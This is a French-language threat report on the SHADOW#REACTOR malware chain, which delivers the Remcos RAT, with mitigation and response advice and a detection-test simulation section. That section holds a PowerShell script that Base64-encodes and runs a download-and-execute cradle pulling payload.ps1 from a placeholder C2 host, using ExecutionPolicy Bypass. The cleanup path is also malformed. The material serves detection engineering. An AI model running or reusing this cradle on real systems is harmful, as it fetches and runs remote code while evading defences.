SHADOW#REACTOR – MISE EN SCÈNE DE TEXTE UNIQUEMENT, .NET REACTOR, ET DÉPLOIEMENT EN MÉMOIRE DE REMCOS RAT

Résumé

SHADOW#REACTOR est une chaîne de malwares Windows multi-étapes qui combine un lanceur VBS obfusqué, un téléchargeur basé sur PowerShell, des artefacts de mise en scène uniquement textuels, un chargeur protégé par .NET Reactor et une exécution MSBuild pour déployer finalement le trojan d’accès à distance (RAT) Remcos.

Investigation

Les chercheurs ont reconstruit le flux à partir d’un script VBS récupéré de l’infrastructure de l’attaquant, suivi de routines PowerShell qui réassemblent et décodent les charges textuelles mises en scène. La chaîne poursuit avec un chargement réflexif en mémoire d’une assembly .NET et un transfert final à MSBuild, qui déclenche l’exécution du RAT Remcos. Le rapport documente les composants encodés en texte, la logique de décryptage et les méthodes de persistance utilisées pour maintenir l’accès.

Atténuation

Augmentez la couverture de surveillance pour les hôtes de script et les interpréteurs, et empêchez l’exécution VBS/PowerShell à partir de chemins modifiables par l’utilisateur lorsque c’est faisable. Ajoutez des détections pour le trafic HTTP sortant suspect vers l’infrastructure identifiée, l’utilisation abusive de MSBuild, et le chargement réflexif d’assemblage .NET. Surveillez les modèles de persistance courants, y compris les modifications de la clé Run et les entrées de démarrage basées sur des raccourcis.

Réponse

Si l’activité SHADOW#REACTOR est confirmée, isolez le point terminal et tuez toute la chaîne de processus (wscript.exe → powershell.exe → msbuild.exe). Supprimez tous les fichiers textuels mis en scène et les artefacts de registre associés, et remédiez en supprimant les binaires Remcos et les blobs de configuration associés. Suivez par un examen médico-légal approfondi pour définir l’étendue de la compromission supplémentaire et garantir l’éradication complète.

Exécution de Simulation

Prérequis : La Vérification Préliminaire de la Télémetrie & Ligne de Base doit avoir été réussie.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémetrie exacte attendue par la logique de détection.

• Narration de l’Attaque & Commandes :
  Un attaquant avec des droits de mouvement latéral limités souhaite exécuter une charge utile distante sur un hôte Windows compromis tout en évitant les défenses typiques de blocage de script. Il utilise PowerShell avec -ExecutionPolicy Bypass pour ignorer les restrictions de politique d’exécution. La charge utile malveillante est obfusquée en tant que chaîne encodée en Base64 qui, lorsqu’elle est décodée, crée un System.Net.WebClient objet pour télécharger un script PowerShell d’un serveur C2 et l’invoquer. Cette combinaison satisfait tous les trois critères de détection (Contournement de la politique d'exécution, FromBase64String, System.Net.WebClient).

• Script de Test de Régression :

  #--------------------------------------------
  # Exécution PowerShell malveillante simulée
  #--------------------------------------------
  # 1. Créez un simple script distant (pour la démo uniquement)
  $remoteScript = 'Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://{C2_HOST}/payload.ps1")'
  # 2. Encodez le script en Base64
  $bytes = [System.Text.Encoding]::Unicode.GetBytes($remoteScript)
  $b64   = [Convert]::ToBase64String($bytes)
  # 3. Exécutez avec Bypass de la politique d'exécution et FromBase64String
  PowerShell -ExecutionPolicy Bypass -Command "
      $decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$b64'));
      Invoke-Expression $decoded
  "

• Commandes de Nettoyage :

  # Supprimez toutes les charges utiles téléchargées et arrêtez les processus PowerShell persistants
  Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'ExecutionPolicy Bypass'} | Stop-Process -Force
  Remove-Item -Path "C:Temppayload.ps1" -ErrorAction SilentlyContinue